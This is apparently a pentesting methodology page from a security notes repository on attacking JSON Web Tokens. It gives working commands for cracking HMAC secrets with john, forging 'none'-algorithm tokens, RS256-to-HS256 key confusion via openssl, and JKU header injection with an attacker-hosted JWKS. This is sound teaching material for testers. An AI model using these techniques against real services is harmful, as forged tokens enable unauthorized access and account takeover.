Skip to content

Latest commit

 

History

History
233 lines (160 loc) · 8.93 KB

jwt.md

File metadata and controls

233 lines (160 loc) · 8.93 KB
description
JSON Web Tokens

JWT

Methodology

Introduction

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

A JSON Web Token is a token that is used to authorize requests to a webserver. They are sent as a cookie in HTTP(S) requests.

Their structure consists of a header, data and a signature, all base64'd and seperated by a dot (.).

{% tabs %} {% tab title="Stucture" %}

Base64(Header).Base64(Data).Base64(Signature)

{% endtab %}

{% tab title="Example" %}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

{% endtab %}

{% tab title="Example Decoded" %}

Header: {
  "alg": "HS256",
  "typ": "JWT"
}
Payload: {
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

{% endtab %} {% endtabs %}

We can easily decode these tokens using https://jwt.io/

Pentesting

Is token required?

Remove the token from the request and resend it. Is the page the same?

  • No. Good. The token was being used to get that page.
  • Yes. Maybe the token isn't the authorization used for this app. Check for other headers, cookies or POST data that might be persisting the session. You may still be able to something with the token, so keep going.

Is token checked?

Try changing the data without changing the signature and see what happens.

  • If an error message occurs, the signature is being checked. Read any verbose error info that might leak something sensitive.
  • If the page returned is different, the signature is being checked.
  • If the page is the same then the signature is not being checked.
    • Check if there are some reflected fields (Name, profile picture, etc) and see if they change.

You can change the token, by keeping the header and signature, decoding the payload, change it, and encode it again.

Examples

Origin of token

Check where your token is being created. The token should always come from the server and never be created on the client.

  • Created on client? The key is accessible to you. Find it.
  • Created on server? Keep going.

Cracking HMAC secret

HMAC signed keys (algs HS256/HS384/HS512) use symmetric encryption, meaning the key that signs the token is also used to verify it.
Verifying signatures is self-contained, which means we can do it offline.
Thus HMAC secrets can be cracked offline using john.

echo "<TOKEN>" > jwt_token
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA<256|384|512> jwt_token

Try using different wordlists, sometimes CeWLing the site can also make for good wordlists

Examples

None algorithm attack - CVE-2015-9235

This attack targets an option in the JWT standard for producing unsigned keys. The output literally omits any signature portion after the second dot. Due to weaknesses in some libraries or server configurations a service may read our tampered request, see that it does not need to be signed, and then just accept it on trust.

Change the algorithm to 'none' and remove the signature (header.payload.).
Check if the page remains the same:

  • Error? The none algoritm is probably disabled.
  • No change in page? Good! Try changing the payload now.

Try the following variants:

    none
    None
    NONE
    nOnE

Examples

RS256 to HS256 Key Confusion Attack - CVE-2016-5431

This attack plays around with the fact that some libraries use the same variable name for the secret that signs/verifies the HMAC symmetric encryption, and the secret that contains the Public Key used for verifying an RSA-signed token.
By tweaking the algorithm to an HMAC variant (HS256/HS384/HS512) and signing it using the publicly available Public Key we can trick the service into verifying the HMAC token using the hard-coded Public Key in the secret variable.

Here are the steps to edit an RS256 JWT token into an HS256

  1. Convert our public key (key.pem) into HEX with this command.

    $ cat key.pem | xxd -p | tr -d "\\n"
    2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    
  2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

    $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    
    (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
    
  3. Convert signature (Hex to "base64 URL")

    $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
    
  4. Add signature to edited payload

    [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
    

Examples

JWKS Injection / JWKS Spoofing / JKU Header Injection

The JKU (JWK Set URL) Header Parameter refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS.

Below an example of an header and the JWKS (JSON Web Key Store) it points towards.

{% tabs %} {% tab title="JKU Header Example" %}

"jku": "http://url.com"

{% endtab %}

{% tab title="JWKS File Example" %}


{
  "keys" : [
    { 
      "e"   : "AQAB",
      "n"   : "kWp2zRA23Z3vTL4uoe8kTFptxBVFunIoP4t_8TDYJrOb7D1iZNDXVeEsYKp6ppmrTZDAgd-cNOTKLd4M39WJc5FN0maTAVKJc7NxklDeKc4dMe1BGvTZNG4MpWBo-taKULlYUu0ltYJuLzOjIrTHfarucrGoRWqM0sl3z2-fv9k",
      "kty" : "RSA",
      "kid" : "1" 
    } 
  ]
}

{% endtab %} {% endtabs %}

This JWKS file will be used to verify the token signature, therefor, if we can control the JKU header, we control the JWKS file and can make the server verify the token.

Here are the steps to exploit this vulnerability:

  1. Create a private key

    For example using mkjwk.org. Check out this video at 3:25 for a practical example of this site.

  2. Host the public key in a JWKS on a webserver

    This file needs to be statically available. Check out this video at 4:07 for a practical example of how to host it.

  3. Create the malicious token containing the JKU, pointing to your JWKS, and sign it with your private key

    This can be done in jwt.io by first converting the public and private key to the PEM format using for example 8gwifi.org/jwkconvertfunctions.jsp. Check out this video at 3:47 for a practical example of how to sign a token.

Examples

KID Header Injection

X5U Header Injection

Resources